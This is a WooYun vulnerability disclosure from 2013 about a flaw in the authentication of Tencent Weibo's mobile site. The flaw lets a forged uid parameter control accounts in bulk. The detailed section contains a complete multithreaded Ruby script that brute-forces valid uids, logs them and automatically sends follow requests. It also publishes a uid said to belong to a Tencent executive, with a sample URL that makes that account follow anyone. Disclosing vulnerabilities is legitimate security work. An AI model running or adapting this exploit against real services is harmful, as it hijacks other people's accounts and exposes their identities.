当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-026488

漏洞标题:腾讯微博-移动端认证机制缺陷导致可批量控制微博-开荒篇

相关厂商:腾讯

漏洞作者: ╰╃清風

提交时间:2013-06-21 15:50

修复时间:2013-08-05 15:50

公开时间:2013-08-05 15:50

漏洞类型:网络设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-21: 细节已通知厂商并且等待厂商处理中
2013-06-21: 厂商已经确认,细节仅向厂商公开
2013-07-01: 细节向核心白帽子及相关领域专家公开
2013-07-11: 细节向普通白帽子公开
2013-07-21: 细节向实习白帽子公开
2013-08-05: 细节向公众公开

简要描述:

3g版腾讯微博服务端某接口控制不严导致可批量控制微博,通过对接口截包分析最后写了本次的批量利用脚本。
令附:控制腾讯某高管收听任何人

详细说明:

首先在讲之前先来看看 WooYun: 微信-腾讯微博认证机制存在严重缺陷 可直接控制他人微博
黑哥提供的方法,uid在goole和百度搜索到的结果很少,达不到我想要的批量的效果,那么我就只能自己开荒了,uid是否可以通过伪造或破解得到呢?
经过多次的参数加密组合发现破解这条路走不通,就只能伪造了-----花了不少时间
先来看下url:http://m.3g.qq.com/account.html?uid=xxx1&fr=2&aid=xx
uid为32位不知道什么方式的加密,查看规律得到均由字母a-z+0-9组成,aid为自己微博名称(刷自己听众,留自己昵称),fr为随机操作标示一般为4位随机数字。知道规律后就可以用ruby写下我们的程序了。
当ruby批量构造uid请求时,需要对服务端返回的信息进行筛选,获取对我们有用的正确的uid并用log保存在本地,过滤出200ok的返回结果并且抓取页面有“收听”2字的url保存到log中
再访问得到url可以看到又上角收听功能 ok,现在点下看看,发现自己听众+1了

7.jpg


接着就是利用GET请求自动操作来达到自动收听的效果,现在来看看收听的get请求URL:http://m.3g.qq.com/cgi-bin/general.cgi?uid=#{uid}&sid=&fr=2&ft=0&aid=#{aid}&cgi=follow&stid=#{stid} ft=0则为收听,ft=1则为取消收听,下面就可以完成我们的代码了:

# encoding: utf-8
require "rubygems"
require 'net/http'
require 'open-uri'
def makefile(file,string)
directory = "#{Dir.pwd}"
FileUtils.mkdir(directory) unless File.directory?(directory)
f = File.open("#{directory}/#{file}","a")
f.puts string
f.close
end
def get_url(url)
url = URI.parse(url)
http = Net::HTTP.new(url.host, url.port)
resp = http.get(url)
end
threads=[]
12.times {
threads << Thread.new{
10000000.times { |x|
#puts x
aid = 'i0_0i-hu'
arr = (0..9).to_a+('a'..'z').to_a
uid = arr.sample(32).join("")
stid = arr.sample(3).join("")
url = "http://m.3g.qq.com/account.html?uid=#{uid}&fr=2&aid=#{aid}"
resp = get_url(url)
#puts resp.code
response = resp.body.force_encoding('UTF-8')
if response =~ />收听<\/a>/
puts url
makefile("log.txt",url)
send_url="http://m.3g.qq.com/cgi-bin/general.cgi?uid=#{uid}&sid=&fr=2&ft=0&aid=#{aid}&cgi=follow&stid=#{stid}"
get_url(send_url)
end
}
}
}
threads.each{|t| t.join}


至此,批量刷收听程序就完成了。
ps:腾讯某高管的uid 可控制其收听任何人

9.jpg


例如:
http://m.3g.qq.com/account.html?uid=57a27298fc466eacdd2524e8b59a3b11&fr=2&aid=被收听人
这个可不仅仅能刷粉哦!

漏洞证明:

211446058dba9c27ab469be6d5609c32094c505a.jpg

21144957308fbd90dec858ab6d30120e91667a96.jpg

7.jpg

2.jpg

修复方案:

null

版权声明:转载请注明来源 ╰╃清風@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-06-21 17:51

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案,如有任何新的进展我们将会及时同步。

最新状态:

暂无